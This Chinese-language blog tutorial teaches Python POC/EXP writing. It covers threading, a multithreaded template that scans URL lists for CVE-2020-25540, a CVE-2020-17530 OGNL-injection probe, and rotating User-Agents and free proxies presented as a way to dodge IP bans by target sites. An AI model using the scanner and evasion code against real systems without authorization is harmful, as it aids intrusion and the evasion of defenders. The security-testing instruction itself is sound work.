POCEXP编写—多线程

POC&EXP编写—多线程

  • 1. 前言
  • 2. 多进程&多线程
    • 2.1. 多进程
      • 2.1.1. 案例
    • 2.2. 多线程
      • 2.2.1. 案例:
    • 2.3. `POC`的案例(模板)
  • 3. UA头设置
    • 3.1. 随机UA头
      • 3.1.1. 案例
      • 3.1.2. 模板拼接
  • 4. 代理Proxy
    • 4.1. 单代理案例
    • 4.2. 多代理案例
      • 4.2.1. 请求结果
  • 5. 模板

1. 前言

本篇记录的是使用多线程,同时优化了一些代码的写法,不过毕竟不是专业写代码的,可能还是有很多代码可以用比较简短的方式写出来,而我这边可能写的会比较繁琐,这个就需要你们自行去修改或者说自己去优化。

同时我们主要以编写POC&EXP,并不是写一个大型的程序,对于内存的消耗,性能的占用并不会考虑那么多,如果自己有条件的可以自行优化。

对于多线程&多进程方面我也不会进行过多的解释,想要理解透彻,还是建议去看专业的教编程的视频或文章。术业有专攻,我们更多的是知道如何使用,至于详细的调用,还需要靠自己去理解去学习。

基本上我都放置了很多的参考链接,可以自己去看看,由于我们编写POC&EXP的时候,后续基本上都是拿一个模板过来改一改,所以就看自己了怎么想了。

2. 多进程&多线程

多线程与多进程是Python中常用的并发编程实现方式,能够有效提高程序的执行效率,这里我还是建议去看视频说的较为详细一点。

  • 对于I/O密集型任务(如网络请求、文件读写等),多线程可能是一个好选择,因为线程间切换开销较小。
  • 对于CPU密集型任务,多进程通常能更好地利用多核CPU资源,实现真正的并行执行。

参考文章:

Python多线程与多进程教程:全面解析、代码案例与优化技巧

python多进程和多线程看这一篇就够了_python 线程 高频循环-CSDN博客

2.1. 多进程

定义:多进程允许在操作系统级别上创建多个独立的进程,每个进程都有自己独立的内存空间和系统资源。

优点

  • 进程间不共享内存,避免了数据竞争和不一致性问题。
  • 对于CPU密集型任务,多进程可以真正实现并行执行,提高整体性能。

缺点

  • 进程间通信相对复杂,需要通过管道、套接字、共享内存等方式实现。
  • 进程创建和销毁的开销较大。

2.1.1. 案例

import multiprocessing  
import time  def worker(num):  print("Process {} is working".format(num))  time.sleep(2)  print("Process {} finished".format(num))  if __name__ == "__main__":  processes = []  for i in range(5):  p = multiprocessing.Process(target=worker, args=(i,))     ##创建一个新的进程对象,指定其要执行的目标函数为 worker,并将循环变量 i 作为参数传递给 worker 函数。processes.append(p)    ##processes.append(p) 将新创建的进程对象添加到 processes 列表中。p.start()  ##p.start() 启动进程,使其开始执行 worker 函数。for p in processes:  p.join()  ##p.join() 会阻塞主进程,直到进程 p 执行完毕。

这个案例创建了5个线程,每个线程都执行worker函数。所有线程几乎同时开始,但由于time.sleep(2),它们会等待2秒后再结束。

2.2. 多线程

定义:多线程允许在单个进程中执行多个线程,这些线程共享相同的进程资源(如内存空间、打开的文件等)。

优点

  • 线程间切换开销较小,因为它们是共享同一进程的内存空间。
  • 线程间通信相对简单,可以通过共享变量实现。

缺点

  • 由于Python的全局解释器锁(GIL)的存在,多线程在CPU密集型任务上通常不能实现真正的并行执行。这意味着即使你有多个线程,Python也只会同时执行一个线程,其他线程需要等待当前线程释放GIL后才能执行。
  • 线程间共享数据可能导致数据竞争和不一致性问题。

2.2.1. 案例:

import threading  
import time  def worker():  print("Thread {} is working".format(threading.current_thread().name))    ##获取当前线程的名称time.sleep(2)    ##停顿两秒,延迟执行print("Thread {} finished".format(threading.current_thread().name))  threads = []    ##创建一个列表用于保存创建的线程对象
for i in range(5):  ##循环创建5个线程t = threading.Thread(target=worker)  ## 创建一个新的线程对象,指定其要执行的目标函数为 workerthreads.append(t)  ##将新创建的线程对象添加到 threads 列表中。t.start()  ##启动线程,使其开始执行 worker 函数。for t in threads:  t.join()  ##t.join() 会阻塞主线程

这个案例创建了5个进程,每个进程都执行worker函数。与多线程案例类似,所有进程几乎同时开始,但由于time.sleep(2),它们会等待2秒后再结束。注意,多进程案例中的if __name__ == "__main__":是为了在Windows上正确运行多进程代码。

参数介绍:

Python提供了threading模块来支持多线程编程。以下是threading模块中常用的几个类和方法:

Thread类:表示一个线程对象,可以通过继承该类创建自定义的线程类。
start()方法:启动线程,使其处于就绪状态。
run()方法:线程启动后运行的方法,你可以在自定义的线程类中重写该方法以实现具体的逻辑。
join()方法:等待线程结束,使主线程阻塞,直到该线程执行完成。
Lock类:提供简单的锁机制,用于保护多线程对共享资源的访问。
Rlock类:可重入锁,可以被同一线程多次获取。
Semaphore类:信号量,用于控制对共享资源的并发访问数量。
Condition类:条件变量,用于实现线程之间的协调和通信。

2.3. POC的案例(模板)

我们在编写POC&EXP中基本上使用到多进程或多线程的还是比较少的,多数都是用于在读取文件中多个URL地址进行测试的时候会使用到,这次你几个URL的也不至于上线程来进行测试,用得上线程这些的多数都是几十个上百个地址,才值得使用,所以这里的话,知道怎么编写就欧克了。

下面代码中我也写了一些注释,这里准确来说都可以是一个模板,直接覆盖内容即可。

在下述代码中包含了测试的进度条、读写文件的操作、多线程,如果使用,基本上需要修改的就是check_vulnerability函数中的验证内容。

参考链接:Python 线程,进程,多线程,多进程以及并行执行for循环笔记 - 知乎 (zhihu.com)

import requests
import argparse
import sys
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor   ##线程池模块def check_vulnerability(url):  ##用于调用测试验证POCtry:response = requests.get(url, timeout=3)  ##发送get请求,超时3秒if response.status_code == 200:  ##判断页面是否为200响应吗return f"[+]{url}存在CVE-2020-25540目录遍历漏洞\n"else:return f"[-]{url}不存在CVE-2020-25540目录遍历漏洞\n"except Exception as e:return f"[-]{url}存在异常请检测!\n"def file(file_name, num_threads=5):  ##接受用户传进来的文件路径地址,接受用户传进来的线程数,默认5个try:with open(file_name, 'r', encoding='utf-8') as input_file, open("result.txt", 'w',encoding='utf-8') as output_file:  ##打开文件,写入文件urls = [line.strip() for line in input_file]  ##将文件中内容循环读取出来,并去除每一行的后面的空格等,制作成列表。with ThreadPoolExecutor(max_workers=num_threads) as executor:  ##产生地址池,设置线程(默认5)results = list(tqdm(executor.map(check_vulnerability, urls), total=len(urls), desc="测试漏洞连通性",ncols=100))  ##根据线程发送给poc模块进行测试,同时测试列表长度,设定百分比for result in results:  ##将结果写入到文件中。output_file.write(result)except KeyboardInterrupt:print("用户已中断程序执行。")sys.exit(0)except Exception as e:print(e)def main():parser = argparse.ArgumentParser()parser.add_argument("-f", dest="file", required=False, help="The default vulnerability port is 80")parser.add_argument("-t", dest="threads", type=int, default=5, required=False,help="Number of threads to use (default is 5)")args = parser.parse_args()file(args.file, args.threads)if __name__ == '__main__':main()

看下图,第一行我测试的是只用两个线程来执行,一共是4个url,基本上是花费了4秒左右,第二行是我没用线程,4个url花费了9秒,还是能够看出来区别效果的。

image-20240429102848169

3. UA头设置

在下面中我们可以看到headers中的User-agent是从我们之前的burp软件中导出来的,这里可以隐藏自己,将所有的UA头,让每次运行的时候随机选择一个。

def poc(url, port):payload = "/?id=%25%7b+%27test%27+%2b+(2021+%2b+20).toString()%7d"url1 = f"{url}:{port}{payload}"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding": "gzip, deflate, br","DNT": "1","Connection": "close"}try:r = requests.get(url1, headers=headers, verify=False, timeout=5, allow_redirects=False)if "test2041" in r.text:print(f"[+]{url}存在CVE-2020-17530远程命令执行漏洞")else:print(f"[-]{url}不存在CVE-2020-17530远程命令执行漏洞")except Exception as e:print(f"[-]{url}存在异常,请检查!")sys.exit(1)

3.1. 随机UA头

User-Agent代表用的哪个请求的浏览器

3.1.1. 案例

这里我们可以列举一个UA头列表,然后随机取其中一个UA头替换请求头中的ua头内容。

import random  # 确保已经导入了random模块  headers = {  "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",  "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",  "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",  "Accept-Encoding": "gzip, deflate, br",  "DNT": "1",  "Connection": "close"  
}  ua_list = [  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)",  "Mozilla/5.0 (Windows; U; Windows NT 5.2) Gecko/2008070208 Firefox/3.0.1",  "Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1",  "Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27",  "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ;  QIHU 360EE)"  
]  # 随机选择一个user_agent  
user_agent = random.choice(ua_list)  # 替换headers字典中的User-Agent值  
headers["User-Agent"] = user_agent  # 打印更新后的headers字典以验证更改  
print(headers)

image-20240429150910413

3.1.2. 模板拼接

这里就是将上述的内容,并结合到实际的案例中。

import argparse
import requests
import sys
import random##设置ua头列表
ua_list = ["Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)","Mozilla/5.0 (Windows; U; Windows NT 5.2) Gecko/2008070208 Firefox/3.0.1","Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1","Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27","Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ;  QIHU 360EE)"]
def poc(url, port):payload = "/?id=%25%7b+%27test%27+%2b+(2021+%2b+20).toString()%7d"url1 = f"{url}:{port}{payload}"headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding": "gzip, deflate, br","DNT": "1","Connection": "close"}user_agent = random.choice(ua_list)    ##随机取其中一个ua头headers["User-Agent"] = user_agent    ##替换字典中的值try:r = requests.get(url1, headers=headers, verify=False, timeout=5, allow_redirects=False)if "test2041" in r.text:print(f"[+]{url}存在CVE-2020-17530远程命令执行漏洞")else:print(f"[-]{url}不存在CVE-2020-17530远程命令执行漏洞")except Exception as e:print(f"[-]{url}存在异常,请检查!")sys.exit(1)def main():banner = """.:: ::    .::                   .::                 
.::    .::  .::                   .::          .:::.: .::      .:.: .:.: .:::.::  .::.:.: .: .:::: .:    .:.::      .::   .::   .::  .::  .::  .::        .:: .::   .::   .::   .::  .::  .::    .:::   .::   
.::    .::  .::   .::   .::  .::  .::      .::.::     .:: ::     .:: .:::     .::.::   .:: .:: .::.:::::::"""print(banner)print("Vulnerability version: x1.6.0-x2.2.3")parser = argparse.ArgumentParser()parser.add_argument("-u", dest="url", required=True, type=str, default=None, help="Vulnerability IP")parser.add_argument("-p", dest="port", required=False, type=int, default=8080,help="The default vulnerability port is 80")args = parser.parse_args()poc(args.url, args.port)if __name__ == '__main__':main()

4. 代理Proxy

测试请求地址:IP地址查询_本机IP_我的IP (900cha.com)

免费代理IP:国内高匿HTTP免费代理IP_IP代理_HTTP代理 - 快代理 (kuaidaili.com)

设置代理主要是用于防止网站对IP的检测,一个IP如果长时间去访问,那么服务器会对其进行限制,尤其是在触发一些告警的时候,可能会直接将IP地址封禁,导致我们继续后面的测试。

对于代理方面主要分为:

透明代理:目标网站知道你使用了代理,并且知道你的源IP,那么这样的话,那干嘛还要使用代理呢?

匿名代理:目标网站知道你使用了代理,但是不知道你是源IP,那这样也是可以将就的。

高匿代理:目标网站既不知道你使用的代理更不知道你的源IP,但是要钱!!

python3.8以下版本:
proxies{'要请求网站的协议类型':'代理服务器ip:端口'}
案例:proxies{'https':'127.0.0.1:8080'}python3.8以上版本:
proxies{'要请求网站的协议类型':'"代理服务器类型(http/https/socks5)://代理服务器ip:端口'}
案例:proxies{'https':'http://112.194.91.135:41122'}

4.1. 单代理案例

这里就使用一个单的代理进行测试案例。

import requestsurl = 'https://ip.900cha.com/'proxies = {'https': 'http://112.194.91.135:41122'  ##从网上搞来的免费代理
}headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding": "gzip, deflate, br","DNT": "1","Connection": "close"}r = requests.get(url=url, headers=headers, proxies=proxies)  ##将代理IP带入
print(r.text)

可以看下面的返回的结果,访问确实使用了代理访问。

image-20240429154504343

4.2. 多代理案例

这里通过设置一个代理列表,如何随机从代理列表中抽取一个IP地址如何传输到字典中,来进行发送请求。这里字典有HTTPHTTPS,是如何方便的呢?

requests库中,当你发送一个请求时,库会自动根据请求的URL来决定使用http还是https。如果你提供的URL以http://开头,requests会使用http代理;如果URL以https://开头,它会使用https代理。

我们这里很明显设置的URLhttps,那么自然在请求的时候会去发送https的请求。

import requests
import randomurl = 'https://ip.900cha.com/'proxies_list = ['http://112.194.88.9:41122','http://112.194.91.135:41122'
]# 随机选择一个代理
random_proxy = random.choice(proxies_list)
print(random_proxy)# 设置代理字典
proxies = {'http': random_proxy,'https': random_proxy
}headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding": "gzip, deflate, br","DNT": "1","Connection": "close"}r = requests.get(url=url, headers=headers, proxies=proxies)
print(r.text)

4.2.1. 请求结果

第一次请求是135的地址。

image-20240429165447761

第二次请求是9的地址。

image-20240429165507199

5. 模板

这里挺简单的还需要我写模板吗????自行编写吧,就修修改改的事情。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/4976.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【AI心理咨询应用】继Woebot之后,国内诞生的“LLM+CBT”应用:白小喵

导言 AI认知行为疗法(Cognitive Behavioral Therapy,CBT)早在2017年便有了首例,即美国知名CBT治疗机器人Woebot。 然而,Woebot在CBT的完整落地上仍有缺陷问题,LLM的出现促进了对该问题的解决,…

【机器学习基础1】什么是机器学习、预测模型解决问题的步骤、机器学习的Python生态圈

文章目录 一. 什么是机器学习1. 概念2. 机器学习算法分类 二. 利用预测模型解决问题的步骤三. 机器学习的Python生态圈 一. 什么是机器学习 1. 概念 机器学习(Machine Learning,ML)是一门多领域的交叉学科,涉及概率论、统计学、…

服务器数据恢复—Storwize V3700存储数据恢复案例

服务器存储数据恢复环境: 某品牌Storwize V3700存储,10块硬盘组建了2组Mdisk加入到一个存储池中,一共创建了1个通用卷来存放数据,主要数据为oracle数据库。 服务器存储故障: 其中一组Mdisk中两块磁盘出现故障离线&…

【每日刷题】Day28

【每日刷题】Day28 🥕个人主页:开敲🍉 🔥所属专栏:每日刷题🍍 🌼文章目录🌼 ​ 1. 121. 买卖股票的最佳时机 - 力扣(LeetCode) 2. 205. 同构字符串 - 力扣…

关于discuz论坛网址优化的一些记录(网站地图sitemap提交)

最近网站刚上线,针对SEO做了些操作,为了方便网站网页百度被收录,特此记录下 discuz有免费的sitemap插件可以用,打开后台管理,找到插件栏,然后找到更多插件,进入插件市场。 选择这个免费的sitem…

【数据分析面试】34.填充NaN值 (Python:groupby/sort_value/ffill)

题目:填充NaN值 (Python) 给定一个包含三列的DataFrame:client_id、ranking、value 编写一个函数,将value列中的NaN值用相同client_id的前一个非NaN值填充,按升序排列。 如果不存在前一个client_id,则返…

Linux详解:进程等待

文章目录 进程等待等待的必要性进程等待的方法waitwaitpid获取子进程status阻塞等待 与 非阻塞等待 进程等待 等待的必要性 子进程退出,父进程不进行回收的话,就可能造成僵尸进程,进而造成内存泄露 如果进程进入了僵尸状态,kill…

GITEE 基于OAuth2的API V5版本

为了构建更好的码云生态环境,我们推出了基于OAuth2的API V5版本。 API V5接口使用方式以及Url都参照GitHub,为了各位开发者更好的兼容已经存在的第三方应用。 API 使用条款 OSCHINA 用户是资源的拥有者,需尊重和保护用户的权益。不能在应用…

基于SpringBoot+Vue高校竞赛管理系统的设计与实现

项目介绍: 高校竞赛管理系统管理系统按照操作主体分为管理员和用户。管理员的功能包括字典管理、论坛管理、竞赛公告管理、获奖管理、老师管理、评审管理、评审分配管理、评审打分管理、赛事管理、赛事提交管理、赛事报名管理、用户管理、专家管理、管理员管理。用…

如何安装最新版Docker Compose?

Docker Compose 是一个用于定义和运行多容器 Docker 应用程序的工具。通过 Compose,您可以使用 YAML 文件来配置应用服务,然后只需一个简单的命令便能创建和启动所有服务。在本篇博客中,我们将详细介绍如何在 Linux 系统上安装 Docker Compos…

可以向同事炫耀的10个Python技巧

Python 是一种用途极为广泛的编程语言,有大量的库和框架为其提供支持。然而,在庞大的 Python 生态系统中,还存在一些鲜为人知的编码技巧和库,它们可以显著增强您的开发体验并优化您的代码。我们将探讨一些鲜为人知的 Python 技巧&…

与Apollo共创生态:七周年大会深有体会!

前言 百度从2013年开始涉足自动驾驶领域。2017年3月1日,百度通过内部邮件宣布,将现有业务和资源整合,成立智能驾驶事业群组(简称IDG)。同年,在上海车展上,百度发布了“Apollo计划”&#xff0c…

Git:克隆代码,提交流程,分支提交流程

1.克隆代码 git clone http://…(代码地址) 克隆代码到本地 2.提交流程(不牵涉分支) 1)git add . 将本地修改的文件暂存到缓存区 2)git commit -m "当次提交解释说明备注" 在日志中显示 3)git…

0426GoodsBiddingAJAX项目

0426GoodsBiddingAJAX项目包-CSDN博客 数据库字段 ​ 管理员的登录界面 ​ 登录成功跳转在线拍卖界面,使用监听器拦截请求,只能登录管理员后访问该界面 ​ 商品竞拍列表 ​ 商品竞拍列表的竞拍操作: ​ 1 用户未登录跳转用户登录界面&#x…

面向对象编程三大特征:封装、继承、多态

封装、继承、多态 1. 封装 1.1 介绍 封装(encapsulation)就是把抽象出的数据 [属性] 和对数据的操作 [方法] 封装在一起,数据被保护在内部,程序的其它部分只有通过被授权的操作 [方法] ,才能对数据进行操作。 1.2 封装的理解和好处 1) 隐藏实现细节:方法(连接数据库)<…

STM32CubeMX+MDK通过I2S接口进行音频输入输出(全双工读写一个DMA回调)续-音质问题解决总结

一、前言 之前进行了STM32CubeMXMDK通过I2S接口进行音频输入输出&#xff08;全双工读写一个DMA回调&#xff09;的研究总结&#xff1a; https://juejin.cn/post/7339016190612881408#heading-34 后续音质问题解决了&#xff0c;目前测试下来48khz的双声道使用效果很好&…

JSON.toJSONString() 输出 “$ref“:“$[0]“问题解决及原因分析

一、背景 在构建一个公共的批处理方法类的时候&#xff0c;在测试输出的时候&#xff0c;打印了" r e f " : " ref":" ref":"[0][0]"的内容&#xff0c;这让我比较疑惑。不由得继续了下去… 二、问题分析 首先&#xff0c;我们需要…

安卓开发Webview RTC 适配

一、场景 在混合开发方式中&#xff0c;项目前端使用了tracking.js 开发了一个人脸识别功能&#xff0c;但是在安卓端无法成功调用摄像头进行视频捕获&#xff0c;在浏览器中可以正常使用该功能。 二、问题分析 之前的音视频文件适配提供给前端的方式&#xff0c;都是通过inp…

web服务的部署及高级优化

搭建web服务器 1.1、配置主机IP以及软件仓库搭建 [rootserver129 ~]# vmset.sh 100 //主机IP配置为172.25.254.100 1.2、查看搭建web服务器所需的软件包 [rootserver100 ~]# dnf search nginx 名称 精准匹配&#xff1a;nginx nginx.x86_64 : A high performance web serve…

头歌实践教学平台:CG7-v2.0-实体消隐

第1关&#xff1a;立方体消隐 一. 任务描述 1. 本关任务 (1) 理解深度缓冲器算法(Z-Buffer)算法; (2) 将triangle函数和main函数中的空白部分补充完整。 2. 输入 (1) 代码将自动输入一个边长为1的obj正方体模型&#xff0c;具体模型如下图&#xff1a; (2) 代码会自动对将…